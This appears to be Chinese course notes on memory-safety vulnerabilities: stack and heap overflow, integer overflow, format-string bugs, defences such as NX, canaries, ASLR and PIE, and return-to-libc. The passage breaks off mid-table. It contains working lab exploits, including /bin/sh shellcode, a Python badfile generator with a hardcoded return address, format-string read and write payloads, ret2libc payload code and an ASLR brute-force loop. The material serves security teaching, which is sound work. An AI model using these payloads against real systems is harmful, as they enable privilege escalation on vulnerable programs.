两个“坏点”被注释标了出来://1 的 strcpy 无边界检查;//2 一次读 300 字节进 str[400] 本身没问题,但随后整块交给 vulfunc,后者只准备了 100 字节。漏洞出在 buffer 与 str 的长度差。
4.2 偏移是怎么量出来的
课件给出的实验步骤(也是 stack.c 文件末尾注释里的流程):用 -g 编译出 stack_gdb,在 vulfunc 下断点,读 $ebp 与 &buffer,相减得到 108,再加 4(返回地址本身占 4 字节)得到 112。
gcc -g -fno-stack-protector -z execstack -o stack_gdb stack.c sudo sysctl -w kernel.randomize_va_space=0 gdb ./stack_gdb b vulfunc r p $ebp -> 0xbfffea98 p &buffer -> 0xbfffea2c p/d 0xbfffea98 - 0xbfffea2c -> 108 108 + 4 = 112
于是 badfile 的布局是:前 112 字节填任意非零字节 → 第 112–115 字节写“跳转目标地址”(会盖住 RET)→ 更高地址放 NOP 滑板和 shellcode。课件还解释了“为什么 shellcode 不能放得更低”:早期 32 位栈地址固定,但缓冲区起点以上才是用溢出能可靠写入的区域。
4.3 构造输入:stack_exploit.py
shellcode = (
"\x31\xc0" # xorl %eax,%eax
"\x50" # pushl %eax
"\x68""//sh" # pushl $0x68732f2f
"\x68""/bin" # pushl $0x6369622f
"\x89\xe3" # movl %esp,%ebp
"\x50" # pushl %eax
"\x53" # pushl %ebx
"\x89\xe1" # movl %esp, %ecx
"\x99" # cdq
"\xb0\x0b" # movb %0x0b,%al
"\xcd\x80" # int $0x80
).encode('latin-1')
content = bytearray(0x90 for i in range(300))
start = 300 - len(shellcode)
content[start:] = shellcode
ret = 0xbfffea88 + 0x77
distance = 108
content[distance+4:distance+4+4] = (ret).to_bytes(4,byteorder='little')
file = open("badfile", "wb")
file.write(content)
file.close()
逐段看:
bytearray(0x90 …)生成 300 字节的0x90(x86 的 NOP),整块就是滑板;content[start:] = shellcode把 24 字节 shellcode 贴到末尾;ret = 0xbfffea88 + 0x77是“缓冲区基址 + 调整量”的猜测值,注释里明确写着 try with different n(需要多试);content[112:116]写入 4 字节小端地址,正好覆盖 RET。
sudo sysctl -w kernel.randomize_va_space=0 关闭 ASLR;gcc -fno-stack-protector -z execstack 关闭 canary 并让栈可执行;sudo chown root stack && sudo chmod 4755 stack 设置 SUID(课件提醒:chown 会清掉 suid 位,顺序不能反)。三者缺一,实验现象就不同。
4.4 shellcode 在做什么
char shellcode[] =
"\x31\xc0\x50\x68//sh\x68/bin"
"\x89\xe3\x50\x53\x89\xe1\x99"
"\xb0\x0b\xcd\x80";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
//(*(void(*)()) shellcode)();
((void (*)())shellcode)();
return 0;
}
课件对这一串机器码的解释(第 2 讲 2-2 第 84 页):目标是执行 execve("/bin/sh", argv, 0),寄存器分工为
eax = 0x0b (11):系统调用号 execve;ebx:指向字符串"/bin/sh";ecx:参数数组地址,argv[0]指向"/bin/sh",argv[1]=0;edx = 0:不传环境变量;int 0x80:触发系统调用。
注意 shellcode.c 第 11 行被注释掉、第 12 行把数组首地址强制转换成函数指针再调用——这是“验证 shellcode 可用”的标准写法。风险点:只有 -z execstack 编译时栈/数据段可执行才能跑通;用 -z noexecstack 编译的版本(nx_shellcode)会在同样调用下崩溃,这正好是第 7 章 NX 的演示素材。
4.5 除了返回地址,还能劫持什么
课件列出三类控制劫持方法:
- Stack smashing:溢出局部缓冲区,覆盖返回地址或仅造成崩溃。
- 函数指针:溢出的 buf 覆盖相邻的函数指针(课件举例 PHP 4.0.2、MS MediaPlayer Bitmaps)。
- longjmp buffers:
setjmp把寄存器(含 SP/FP)存到栈中,longjmp恢复;二者成对使用,setjmp会返回两次(第一次返回 0,第二次返回 longjmp 的第二个参数)。若攻击者改写保存的缓冲区,就能在异常处理链上劫持控制流。课件另提 C++ 异常处理与 SEH。
同一讲还把溢出按内存区域分成栈溢出、堆溢出、BSS 溢出,并强调危险函数:strcpy、strcat、gets、scanf;甚至“安全版”strncpy/strncat 也不安全——strncpy 不保证用 '\0' 结尾。
堆溢出与 BSS 溢出的课件示例
#define BUFSIZE 16
int main()
{ int i=0;
char *buf1 = (char *)malloc(BUFSIZE);
char *buf2 = (char *)malloc(BUFSIZE);
while((*(buf1+i)=getchar())!=EOF)
i++;
}
循环没有上界,buf1 之后紧邻的 buf2 与堆上的敏感数据会被逐字节覆盖。BSS 版本更直接:static char buf[BUFSIZE] 后面放 tmpfile 指针或函数指针,gets(buf) 溢出后可以改掉文件路径指针或函数指针(课件第 88–89 页)。
易错点 / 考点
- 偏移 108 是
buffer→ebp;覆盖 RET 要写 112 处,不要只写 108。 - badfile 中不能出现
\0(strcpy遇到 NUL 停止),所以返回地址也要避免含零字节,课件注释专门提示这一点。 - “程序在
func退出前不能崩溃”是远程利用的前提:一旦中途崩了,shellcode 根本没机会执行。 - SUID 顺序:先
chown再chmod 4755;反过来 suid 位会被清掉。
buffer 起点覆盖到返回地址需要多少字节?单选\x00?单选整数溢出
整数用固定位数表示,超过范围就回绕(wrap around,模 max+1)。溢出本身不直接破坏内存,但它能让长度检查与真正的拷贝使用不同的数值,从而绕过检查。
5.1 回绕:1 == 65537?
int main(){
unsigned short a,b;
printf("size of unsigned short is %d\n",sizeof(a) );
a = 1;
b = 65537; //2^16+1
if(a == b){
printf("1==65537???????\n");
}
return 0;
}
unsigned short 只有 2 字节。65537 的二进制是 1 0000 0000 0000 0001,赋给 16 位变量时高位被截掉,只剩 0000 0000 0000 0001,于是 a == b 成立。课件用这个例子说明“超出部分被忽略”。
5.2 绕过长度检查:catvars
int catvars(char *buf1, char *buf2,
unsigned int len1, unsigned int len2)
{
char mybuf[256];
if((len1 + len2) > 256){
printf("Length error\n\n");
return -1;
}
printf("len1 is %u, len2 is %u,len1+len2 is %u\n\n", len1,len2,len1+len2);
memcpy(mybuf, buf1, len1);
memcpy(mybuf + len1, buf2, len2);
return 0;
}
主函数中 length1 = 0x104、length2 = 0xfffffffc。两者相加:
| 量 | 32 位二进制 | 十进制 |
|---|---|---|
| len1 = 0x104 | 0000 0001 0000 0100 | 260 |
| len2 = 0xfffffffc | 1111 1111 1111 1100 | 4294967292 |
| len1 + len2(回绕) | 0000 0001 0000 0000 | 256 |
检查和写回用的是同一个表达式,所以 > 256 不成立,检查放行;但第一次 memcpy 用的是 len1 = 260,已经超出 mybuf[256],直接溢出。关键点:不是“加法算错了”,而是检查值与使用值语义不一致。
5.3 有符号 / 无符号混用:memcpy 的 count
int copySomething(char *buf, int len)
{
char kbuf[800];
int i = 0;
memset(kbuf,0,800);
if(len > 800){
printf(">>>>\n");
return -1;
}
memcpy(kbuf, buf, len);
printf("%s\n",kbuf);
return 0;
}
int main(){
unsigned int length1;
char * buffer1 = "111";
length1 = -3;
copySomething(buffer1, length1);
return 0;
}
检查时 len 是 int(有符号),-3 > 800 为假,检查通过;但 memcpy 的原型是 void *memcpy(void *dest, void *src, unsigned int count),-3 被解释成 0xfffffffd(约 4 GB),于是向 kbuf[800] 写入海量数据,几乎必然崩溃。课件把这类问题总结为“检查用有符号、使用用无符号”。
同目录的 password.c 是同一原理的“口令校验”小例子:
int main(){
unsigned short a,b;
a = 1;//假设密码是1
b = 0;
printf("请输入密码:\n");
scanf("%d",&b);
if(a == b){
printf("密码正确\n");
}
else{
printf("密码错误\n");
}
printf("b = %d\n",b);
return 0;
}
输入 65537,b 回绕成 1,口令校验通过——把“整数回绕”转化为“认证绕过”。
易错点 / 考点
- 整数溢出的危害不在“数值错”,而在“检查与使用不一致”,或者“长度被放大成巨大值”。
- 有符号与无符号比较、赋值、函数参数传递都可能发生隐式转换;C 的整型提升规则是根因之一。
- 回绕公式:无符号数超过
2^n - 1后按2^n取模;有符号数越界在 C 中属于未定义行为(课件未展开这一点,此处仅作提示)。
unsigned short a=1, b=65537; 执行 if(a==b) 的结果是?单选len1+len2 的结果是?单选copySomething(buffer1, -3) 为什么危险?单选格式化字符串漏洞
一句话概括:当用户输入被当作格式串传给 printf 家族,%p 会读出栈上的值,%s 会把栈上的值当地址去读内存,%n 甚至会往栈上的地址写数据。这是本课程里“读”和“写”都最直接的一类漏洞。
6.1 格式串基础:位置参数与 %n
课件列出的关键说明符:
| 写法 | 含义 | 课件示例 |
|---|---|---|
%p | 以 16 进制输出指针(值) | %p 输出 a 的值,%p &a 输出 a 的地址 |
%s | 把参数当作地址,输出该地址上的字符串 | 配合任意地址实现任意读 |
%d | 有符号十进制整数 | — |
%x | 16 进制 | — |
%2$d | 位置参数:取第 2 个参数 | printf("%2$d",10,20,30) → 20 |
%10d | 位宽:不足 10 位左侧补空格,超过则按实际输出 | — |
%n | 把已输出的字符个数写入对应参数指向的地址 | printf("1234%n",&len) → 输出 1234,len=4 |
%n 是整类漏洞的枢纽:它本来是“统计已输出长度”的工具,一旦地址可控,就变成“任意地址写一个整数”。
6.2 write.c:用 %n 精确写四个字节
void main(void) {
unsigned char canary[5];
unsigned char foo[4];
memset (foo, '\x00', sizeof (foo));
strcpy (canary, "AAAA"); /* 0 * before */
printf ("%16u%n", 7350, (int *) &foo[0]);
printf ("%32u%n", 7350, (int *) &foo[1]);
printf ("%64u%n", 7350, (int *) &foo[2]);
printf ("%128u%n", 7350, (int *) &foo[3]);
printf ("\nfoo:%02x%02x%02x%02x\n", foo[0], foo[1], foo[2], foo[3]);
printf ("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2], canary[3]);
}
课件在第 2 讲 2-2 第 5 页问“最后两行输出什么”。推理步骤:
%16u输出 16 个字符(前导空格 + 数字),%n把 16 写进&foo[0]。注意%n写的是int,在 32 位上占 4 字节,所以这一次写会覆盖foo[0..3]。- 第二次写 32 到
&foo[1],覆盖foo[1..4]——foo只有 4 字节,于是canary[0]被写成 0。 - 第三次 64 写
foo[2..5],第四次 128 写foo[3..6]。按字节看,最终foo的四个字节分别是0x10、0x20、0x40、0x80;canary[0]被写成 0,canary[1..3]仍是'A'。
所以课件给出的 foo 答案是 10204080;canary 也已被破坏(若按 %02x 四字节打印,首字节为 00)。这个例子同时说明两件事:%n 的写入粒度是 4 字节;canary 与相邻缓冲区之间没有隔离时,%n 能直接踩坏它(这正是第 7 章 canary 的弱点)。
6.3 参数从哪来:栈上的“可变参数”
int printf(const char *format, ...) 不知道调用者实际传了几个参数,它按格式串里 % 的个数依次从栈上取。课件用这个例子说明:
printf ("Number %d has no address, number %d has: %08x\n", i, a, &a);
调用时栈上是:格式串地址 A(由调用者压入)、i、a、&a、返回地址。若格式串里的 % 多于实参,printf 就会继续往更高地址读——读到的是调用者的局部变量、保存的寄存器、甚至返回地址。于是:
int main(){
int a = 1;
int i = 2;
printf("AAAA%p%p%p%p%p\n");
return 0;
}
这行代码没有传任何可变参数,却会打印出 5 个栈上的“值”。这就是栈数据泄露:内容可能是变量、指针、返回地址。
6.4 任意读:把地址写进格式串
难点是“如何把想要的地址交给 printf”。课件给出的办法是:地址本来就随输入字符串存在栈上,只要用若干个 %08x 把参数指针“走到”它,再用 %s 解引用。
printf ("\x1f\x01\xff\xbf_%08x.%08x|%s|");
更简洁的写法是位置参数 %M$s:
printf("\xaa\xbb\xcc\xdd%3$s");
[ra][fmt][a1][a2][\xaa\xbb\xcc\xdd%3$s]
(1) (2) (3) ...
=> printf("...%3$s", _, _, 0xddccbbaa);
%n$s 直接指定第几个参数,本质仍是移动参数指针;区别只是不用数一串 %08x。
6.5 任意写:%n 与 %[n]c
把 %s 换成 %n,就得到“对地址 0xddccbbaa 写入当前已输出字符数”:
printf("\xaa\xbb\xcc\xdd%3$n");
=> 对 0xddccbbaa 指向的内存写入已输出字符数
printf("\xaa\xbb\xcc\xdd%6c%3$n");
=> 4 + 6 = 10,即 *0xddccbbaa = 10
要写入任意值,用宽度控制输出长度:%61c 会输出 61 个字符(不足补空格),加上前置 4 字节地址,总长度 65。
课堂主实验 qiang.c
void main(void) {
char buf[100];
char secret[100] = "111122223333";
int i;
printf("address of secret is at %p\n", secret);
printf("Input:");
fgets(buf, sizeof(buf), stdin);
printf(buf);
printf("\n");
printf("string secret is : %s\n",secret);
printf("secret in int is: " );
for (i = 0; i < 16; i ++){
printf("%d,", secret[i]);
}
printf("\n");
}
第 13 行 printf(buf) 是本漏洞的全部:buf 由 fgets 读入,直接当格式串。课件演示的三步(也写在文件注释里):
echo -e "\x41\x41\x41\x41%p|%p|…" | ./qiang,看到41414141出现在第 5 个%p,说明 buf 起始地址是 printf 的第 5 个参数(课件第 62–63 页把栈图画了出来)。这个 5 是试出来的,不是算出来的。echo -e "\x88\xec\xff\xbf%5\$s" | ./qiang:把 secret 的地址放在 buf 开头,第 5 个参数正好指向它,%s于是打印 secret 的内容——任意读。echo -e "\x88\xec\xff\xbf%61c%5\$n" | ./qiang:输出 4(地址字节)+ 61(%c补位)= 65,把 65 写进 secret 首地址,于是"111122223333"变成11A122223333(65 是'A'的 ASCII 码)。——任意写。
qiang 的“课堂答题 2”:要写 0x31413131 该填多少?
目标是让内存中的 4 个字节依次变成 0x31、0x41、0x31、0x31(字符上就是 "1A11")。小端存放时,低地址字节是最低位:
| 内存偏移 | +0 | +1 | +2 | +3 |
|---|---|---|---|---|
| 字节值 | 0x31('1') | 0x41('A') | 0x31('1') | 0x31('1') |
| 对整数的贡献 | 0x31 × 160 | 0x41 × 162 | 0x31 × 164 | 0x31 × 166 |
按十六进制写成“高字节在左”就是 0x31413131。
课件直接给出 0x31413131 = 826356017,再减去前置地址占的 4 个输出宽度,得到 n = 826356013;命令即 "\x88\xec\xff\xbf%826356013c%5\$n"。源码注释里也写了这一行,与课件一致。
6.6 真实程序里的形态:str_fmt_attack.c
char secret[] = "1234";
void handle_failure(char *buf) {
char msg[100];
snprintf(msg, sizeof(msg), "Invalid Password!!! %s\n", buf);
printf(msg);
}
int main(int argc, char *argv[])
{
setreuid(geteuid(), geteuid());
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
printf("secret is at: %p\n", secret);
char buf[100];
printf("Enter Password:\n");
fgets(buf, sizeof(buf), stdin);
if (!strcmp(buf, "123456\n")) {
printf("Password OK :)\n");
} else {
handle_failure(buf);
}
if (secret[0]!='1' || secret[1]!='2'|| secret[2]!='3'|| secret[3]!='4') {
printf("The secret (1234) is modified to %s!\n", secret);
}
return 0;
}
与 qiang 的差别是:用户输入先被 snprintf 拼进 msg,前缀 "Invalid Password!!! " 有 20 个字符(注意有一个空格),然后 printf(msg)。这 20 个字符会被计入 %n 的输出长度,所以写值时要额外加 20。课件第 26–27 页强调了这个易错点:“Invalid Password!!!” 是 19 个字符 + 1 个空格 = 20。
文件注释给出了完整攻击步骤(第 44–80 行):先 %x 刷一串泄露栈内容,找到 "Invalid Password!!!…" 在栈上的位置;用 BBBB%12\$x 确认第 12 个参数;再换成目标地址(secret 的 0x804a038,小端 \x38\xa0\x04\x08)做 %12\$s 读、%12\$n 写。
int_fmt_attack.c 把 secret 换成整数 0xdeadbeef,并用 tmp != secret 检测是否被改;注释里的两条命令分别是 %12\$n 与 %10c%12\$n。
6.7 另外两种后果:DoS 与缓冲区溢出
DoS:fprintf(stdout, user) 若 user = "%s%s%s%s%s%s%s",printf 会把栈上连续 7 个值当地址解引用,极可能命中非法地址而崩溃。正确写法是 fprintf(stdout, "%s", user)。
格式串引发溢出:
char outbuf[512], errmsg[512]; sprintf (errmsg, "Err Wrong command: %400s", user); sprintf( outbuf, errmsg );
第一句用 %400s 限制 user 最多 400 字符,看似安全;但 user = "%497d\x3c\xd3\xff\xbf<nops><shellcode>" 时,%497d 会展开成 497 个空格,加上 19 字符前缀共 516 = 512 + 4,第二句 sprintf(outbuf, errmsg) 直接把 outbuf 与返回地址一起冲掉。课件在这里提问“NOP 的作用是什么”——答案与第 4 章相同:滑板,提高跳转命中率。
易错点 / 考点
%n写入的是“已输出字符数”,不是参数的值,且按int写 4 字节。- 用
%n$前必须先确定“第几个参数”:用AAAA(或BBBB)打标试出来,这个序号依赖程序与编译选项,不能背成常数。 - 前缀字符串、地址字节都算进输出长度;qiang 是 4,str_fmt_attack 是 20 + 4。
- “
printf(user)危险”不等于“printf("%s", user)也危险”,后者是正确用法。
printf("%2$d", 10, 20, 30) 输出?单选%n 的作用是?单选foo 四字节是?单选"1A11"(即 0x31413131),qiang 中的 n 应取?单选防御机制与绕过
这一章回答一个问题:既然能改返回地址,操作系统和编译器怎么办?答案是四类动作——修 bug、让注入代码不能执行、在返回前检查、把地址随机化;而每一种防御都有明确的绕过方式,这正是下一章 ret2libc / ROP 的出场理由。
7.1 防御的四条路线
| 路线 | 课件列出的手段 | 核心思想 |
|---|---|---|
| 修 bug | 软件审查、静态分析(Coverity、Prefast/Prefix)、用类型安全语言重写 | 从源头消除;但遗留系统重写困难 |
| 允许溢出、不让代码执行 | NX 位 | 栈/堆标为不可执行,注入的 shellcode 跑不起来 |
| 运行时检查 | canary word、StackGuard、Stack-smashing Protection、LibSafe | 检测到溢出就挂起进程 |
| 减少溢出机会 | 控制栈与数据栈分离、ASLR、CFI | 让地址不可预测,或让跳转必须合法 |
7.2 先看清楚要保护什么
7.3 W^X / NX / DEP:让注入的代码跑不起来
把栈段与堆段标记为不可执行,溢出只能改数据,不能执行数据里的代码。
- 硬件基础:每个页表项(PTE)都有 NX 位。AMD Athlon 64 称 NX-bit,Intel P4 Prescott 称 XD-bit。
- 系统部署:Linux 的 PaX 项目;Windows 从 XP SP2 起引入 DEP(Data Execute Prevention)。
- 优点:无需修改代码、无需重新编译。
- 缺点:需要硬件支持;不能防御 return-to-libc / ROP;JIT 编译器等程序需要可执行的堆(生成的数据就是代码)。
课件的对比实验很直接:同一份 shellcode.c,用 -z execstack 编译能弹出 shell,用 -z noexecstack 编译则崩溃。对应可执行文件在同目录:x_shellcode 与 nx_shellcode;systemexit.c 也编译出 x_systemexit、nx_systemexit 两个版本作对照。
7.4 StackGuard / canary:在返回前对暗号
在局部变量与控制信息(ebp、RET)之间插入一个“金丝雀”字,函数返回前检查它是否被改。攻击者的连续覆盖会先踩到 canary,于是被发现。
两种 canary:
- 随机 canary:程序启动时选一个随机串,每个栈帧插入一个,返回前校验;
- Terminator canary:取
0、换行、EOF 等终止符,因为字符串函数不会复制超出终止符的内容,攻击者用字符串函数很难破坏它。
StackGuard 是 GCC 的补丁,编译选项 -fstack-protector / -fstack-protector-strong。优点是不改代码只重编译;缺点是性能损失(课件举例 Apache httpd 额外开销 8%)、只防 stack smashing、且基于 secret,若攻击者能读内存就失效。
int main(int argc, char *argv[])
{
char buf[BUFSIZE];
strcpy(buf, argv[1]);
printf(" Buf: %s\n", buf);
printf("&Buf: %p\n", &buf);
return 0;
}
文件注释(第 15–34 行)把结论直接写了出来:BUFSIZE=64,到 EBP 是 64+4=68。默认编译(开 canary)时,输入 65 个 1 就报 stack smashing detected;加上 -fno-stack-protector -z execstack 后,输入 65/66/67 个字符只是“写进了 canary 但没人检查”,直到 68 个字符才 RET address affected; jump to invalid address。这组对比说明 canary 的作用点:它不阻止覆盖,只阻止“覆盖后还能正常返回”。
7.5 StackShield:把返回地址抄一份
函数调用前把 RET 与 ebp 复制到“安全”位置,返回前恢复。它与 canary 的关键区别是:不知道是否发生了溢出,只是把被改的值换回正确值,因此程序可以继续正常运行(攻击者也就无法劫持)。实现为 GCC 的汇编文件处理器。
7.6 SafeStack:把栈劈成两半
把栈分成安全栈(返回地址、寄存器、总是以安全方式访问的局部变量)与非安全栈(其他数据)。本质是隔离:非安全栈上的溢出碰不到安全栈里的返回地址。课件称其性能开销较小,并指出 WebAssembly 采用了这一思路;编译方式为 clang-3.7 -fsanitize=safe-stack -o a.out test.c。
7.7 PointGuard:给指针加密
对指针加密,加载到寄存器时解密。没有它时攻击者篡改指针就能访问指定位置;有了它,被改的密文解密后指向一个不由攻击者控制的位置,于是访问失败。课件只给了原理示意,未展开实现细节。
7.8 ASLR:把地址藏起来
ASLR(Address Space Layout Randomization)把共享库映射到进程内存的随机位置(课件原话),进而栈、堆也随之随机,攻击者不能直接跳转到 system 之类的函数。
- 部署情况:Windows Vista 对 DLL 只有 8 位随机性;Linux(经 PaX)对库有 16 位。课件明确“ASLR 在 64 位系统使用更有效”。
- 其他随机化:系统调用号随机化、指令集随机化(ISR)。
- 优点:不改代码、不重编译。缺点:32 位保护有限;基于 secret,若能 dump 内存读到 ebp 等值就失效;有性能损失。
void main(){
char x[12];
char * y = malloc(sizeof(char)*12);
printf("Address of buffer x (on stack): 0x%x\n", x);
printf("Address of buffer y (on heap): 0x%x\n", y);
}
把 kernel.randomize_va_space 依次设为 0、1、2 运行,对比两次输出的栈地址与堆地址:0 时完全不变,1 时栈与共享库变,2 时堆也变。
7.9 ASLR 的盲区:.text 需要 PIE
只开 ASLR,程序自身的代码段 .text 仍是固定地址(课件第 26 页强调)。要让代码段也随机,需要 PIE(Position Independent Executable):gcc -fPIE -pie。编译器把绝对地址访问改成间接访问,共享库(.so)本身就是按 PIE 编译的。
void *getEIP() {
return __builtin_return_address(0)-0x5;
}
int main(int argc, char** argv) {
printf("EIP located at: %p\n", getEIP());
return 0;
}
文件注释给出的对照实验:gcc -o noPIE PIE.c 多次运行地址相同;gcc -fPIE -pie -o withPIE PIE.c 多次运行地址不同。__builtin_return_address(0) 取返回地址,减去 0x5 是因为 call 指令本身 5 字节,得到 call 的起始位置,即当时的 EIP。
7.10 GOT / PLT:延迟绑定留下的可写入口
动态链接的函数地址在第一次被调用时才解析:调用点先跳到 PLT,PLT 表项里 jmp *GOT项;未解析时该 GOT 项指向 PLT 的解析代码,解析完成后写入真实地址,下次直接跳过去。
int main(){
printf("This is my first call\n");
printf("This is my second call\n");
putchar('l');
putchar('l');
return 0;
}
// x 0x804a00c -> 第一次 0x080482e6(PLT 解析桩)
// -> 第二次 0xb7dc9ca0(puts 真实地址)
课件由此提出威胁:如果改掉 GOT 表中已解析的函数地址,下一次调用就会跳到攻击者指定的位置(GOT 覆盖)。这也是“信息泄露 + 改写 GOT”能绕过 ASLR 的思路:先泄露 libc 地址,再算偏移。
补充说明:课件只讲了 GOT 可写与覆盖,没有讲 GNU_RELRO / 部分 RELRO / 完全 RELRO 这些现代缓解。此处不展开,考试以课件范围为准。
7.11 CFI:检查每一次间接跳转
控制流完整性(CFI)静态得出“正常的”跳转集合,然后插桩检查实际跳转是否落在集合内。检查对象包括函数返回、函数指针、虚方法。优点是不用改代码;缺点是性能损失、需要更好的编译器、需要拿到全部代码(否则无法确定合法目标集合)。
7.12 暴力破解 ASLR
32 位 Linux 的栈随机性只有 19 位,地址空间为 219 = 524288。课件给出的实测:约 8 分半、25 万次尝试(每次攻击耗时/尝试次数不尽相同)。实验脚本 brute_force_ASLR.sh 就是循环运行 ./stack 并统计次数与时间。
while [ 1 ] do value=$(($value + 1)) duration=$SECONDS min=$(($duration / 60)) sec=$(($duration % 60)) echo "$min minutes and $sec seconds elapsed." echo "The program has run $value times so far" ./stack done
脚本只说“跑了很多次”,真正让它成功的是每次 badfile 里的猜测地址不同(stack_exploit.py 里 +0x77 的调整量需要遍历)。这解释了为什么 ASLR 在 64 位下更有效:位数一多,暴力枚举就不现实了。
7.13 防御与绕过一览
| 防御 | 挡住什么 | 拦不住 / 绕过 |
|---|---|---|
| NX / DEP | 栈上执行注入 shellcode | ret2libc、ROP(复用已有代码) |
| Canary | 连续覆盖到返回地址 | 先泄露 canary;跳写(不经过 canary,如 %n 直写 GOT) |
| StackShield | 改返回地址 | 不检测,只恢复;其它控制数据(函数指针)不管 |
| ASLR | 硬编码地址跳转 | 暴力破解、内存泄露(GOT/PLT)、32 位熵不足 |
| PIE | 代码段固定地址 | 同样需要泄露基址;只防 .text,不防库 |
| CFI | 跳转到非法目标 | 合法 gadget 链仍可能被拼出(课件未展开) |
易错点 / 考点
- “NX 能防溢出”是错的:NX 防的是执行注入代码,溢出本身照样发生。
- canary 的位置是“局部变量与控制信息之间”,所以它先于 ebp/RET 被覆盖。
- ASLR 默认只随机化库/栈/堆;.text 随机化是 PIE 的功劳,这是课件反复强调的区分点。
- StackShield 与 canary 的差别:前者不知道有没有溢出,后者知道。
- SafeStack 保护的是返回地址等“安全数据”,不是让所有局部变量都安全。
7.14 2-4 的补刀:NX 之后只剩两条路
2-4 第 2 页用最省字的方式把整讲的前提说完:防御是“不能在栈中运行代码”,攻击是“无须在栈中运行代码”。第 9–10 页再加一句设问——开了栈不可执行保护以后,“怎么绕过这种保护机制”。
| 绕过路线 | 复用什么 | 前提 | 落点 |
|---|---|---|---|
| ret2libc | 整段库函数,如 system() | 知道 libc 函数地址与一个字符串地址 | 第 8 章 |
| ROP | 以 ret 结尾的指令片段(gadget) | 能找到 gadget 且地址可预测 | 第 9 章 |
所以 2-4 把 ret2libc、ROP 紧接在“防御方法简介”之后讲:它们不是新漏洞,而是对 NX 的绕过。这两条路的共同点是——代码本来就在内存里、并且那段内存是可执行的,攻击者只负责改写“接下来跳哪”。
Return-to-libc
NX 让“跳到自己的 shellcode”失效,于是把返回地址改成已有库函数的地址:不写新代码,只借 system() 的代码执行 system("/bin/sh")。这一章以 2-4 的讲解页为主线(第 11–47 页),代码取自 returntolibc/。
system() 的用法、返回地址改写后栈帧的逐格变化、Task A/B/C 三组实验,以及“程序名长度会挪动环境变量地址”这一实测坑。源码与注释取自 returntolibc/,凡课件只给结论未给推导的地方已标注“课件未展开”。
8.1 漏洞程序:与 stack.c 同构
int vulfunc(char *str)
{
char buffer[100];
strcpy(buffer, str);
return 1;
}
int main(){
char str[400];
FILE *badfile;
badfile = fopen("badfile","r");
fread(str, sizeof(char), 300, badfile);
vulfunc(str);
printf("Returned properly\n");
fclose(badfile);
return 0;
}
结构、偏移都与第 4 章相同:buffer[100],从 buffer 到 ebp 是 108,到返回地址是 112。不同的是编译选项——注释里用 -z noexecstack,即栈不可执行,所以第 4 章的 badfile 在这里只能让程序崩溃。
8.2 栈上的“假调用帧”
函数结语是 leave; ret。leave 等价于 mov %ebp,%esp; pop %ebp,随后 ret 从栈顶弹出 4 字节放进 EIP。既然这 4 字节来自我们写的 badfile,就可以让它等于 system,同时把后面的栈内容布置成 system 的“调用者帧”:
图:ret2libc 的三段式布局。ret 跳到 system 后,system 会把 offset 116 当成自己的返回地址、offset 120 当成第一个参数(cdecl 参数在 ebp+8)。
# Fill content with none zero values
content = bytearray(0xaa for i in range(300))
a3 = 0xbffffdd8 # address of "/bin/sh"
content[120:124] = (a3).to_bytes(4,byteorder='little')
a2 = 0xb7e369d0 # address of exit()
content[116:120] = (a2).to_bytes(4,byteorder='little')
a1 = 0xb7e42da0 # address of system()
content[112:116] = (a1).to_bytes(4,byteorder='little')
这三个地址都在文件注释里给出了获取方式:
gdb ./stack p system -> 0xb7e42da0 p exit -> 0xb7e369d0 quit export MYSHELL="/bin/sh" ./envro Address: bffffdd8
system 与 exit 来自 libc;"/bin/sh" 的地址则来自环境变量——把 MYSHELL 设为 /bin/sh,再用 envro.c 打印它在进程环境区中的地址。
int main(){
char *shell = (char *)getenv("MYSHELL");
if(shell){
printf(" Value: %s\n", shell);
printf(" Address: %x\n", (unsigned int)shell);
}
else
printf(" MYSHELL not found\n");
return 0;
}
sysctl -w kernel.randomize_va_space=0:libc 与栈的地址必须稳定,否则 0xb7e42da0 / 0xbffffdd8 这两个硬编码地址都不可用。这就是“ret2libc 需要先绕过 ASLR”的原因。gcc -fno-stack-protector -z noexecstack -o stack returntolibc_stack.c,再 chown root / chmod 4755。
8.3 为什么用 exit 当返回地址
如果 offset 116 留空或指向垃圾,system("/bin/sh") 执行完返回时会跳到非法地址并崩溃——shell 可能已经拿到,但进程死得难看。填 exit 是一个“干净的收尾”,让程序在 shell 退出后正常终止。这是“构造完整调用帧”的工程习惯,不是必须项。
8.4 与第 4 章的区别
| 第 4 章 shellcode | 第 8 章 ret2libc | |
|---|---|---|
| RET 指向 | 栈上的 NOP 滑板 / shellcode | libc 中的 system |
| 需要栈可执行 | 是(-z execstack) | 否(-z noexecstack) |
| 需要的额外数据 | shellcode 自身 | system 地址、退出地址、"/bin/sh" 地址 |
| 受 ASLR 影响 | 栈地址随机 | 库地址、环境区地址随机 |
8.5 libc.so:一份“运行时一定在、且可执行”的代码库
先看这一章要解决什么问题。栈不可执行(NX)以后,攻击者自己写的那段机器码就算被写进栈,也没法当指令跑。但程序总要调用库函数——printf、strcpy、malloc、system 全在 libc 里,它们的机器码在运行时确实躺在内存里,而且所在内存页是可读可执行的。于是思路变成:既然不能执行“我写的代码”,那就执行“本来就在的代码”,只把参数换掉。
libc(libc.so):Linux 上几乎所有 C 程序都会链接的基础库,约 2 MB,动态链接、运行时才映射进地址空间。生活类比:小区的公共工具间——工具不是你的,但你有钥匙,随时能借。在 42.c 里,3.2.7 说“printf 的地址编译期不知道”,那个地址就来自 libc;运行时由动态链接器填进 .got.plt。ret2libc 借的是同一份库,只不过借的是 system。
为什么偏偏借 system?因为它的签名是 int system(const char *command)——给我一个字符串,我当命令执行(2-4 第 12 页原话)。这与“拿到 shell”只差一个字符串 "/bin/sh"。而 libc 里本来就存着 "/bin/sh" 这个字符串,实验中也可以自己构造后放进环境变量区。
易混点:system() 只是“再 fork 一个 shell 去跑命令”,它本身不会让当前进程变成 shell;拿到交互式 shell 靠的是 /bin/sh 这个子进程。
8.6 改了返回地址之后,栈上每一格发生了什么
ret2libc 最反直觉的一点:你跳到 system 的入口,却没有“调用者”。真实调用时,编译器会先 push 参数、再 call 压返回地址;这里是漏洞函数的 leave; ret 直接把你送到 system,所以这两样东西必须由你自己在栈上摆好。2-4 第 14–31 页就是用 pro_epi_logue.c 的序言/结语逐帧演示这件事。
| 时刻 | 栈上关键格(示意地址) | 谁在用它 |
|---|---|---|
vul_func 执行 leave | ebp 恢复成调用者的 ebp | 旧帧被丢弃 |
